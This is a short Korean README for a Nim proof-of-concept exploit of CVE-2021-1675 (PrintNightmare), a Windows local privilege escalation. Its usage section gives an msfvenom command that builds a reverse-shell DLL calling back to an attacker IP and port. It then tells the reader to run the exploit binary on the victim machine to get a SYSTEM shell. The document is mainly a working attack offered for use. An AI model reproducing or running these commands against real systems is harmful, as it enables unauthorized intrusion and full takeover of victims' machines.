CVE-2021-1675 LPE PoC

제 익스플로잇이 아닙니다! 그냥 winim 라이브러리를 nim에서 가지고 놀고 싶었을 뿐입니다.

사용법

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.237 LPORT=4444 -f dll > msfvenom.dll 로 DLL 페이로드를 생성한 다음, 공격자 시스템에서 핸들러를 시작하세요.

피해자 시스템에서 .\nimnightmare.exe <ABSOLUTE_PATH_TO_DLL> 을 실행하면 SYSTEM 권한의 셸을 얻을 수 있습니다.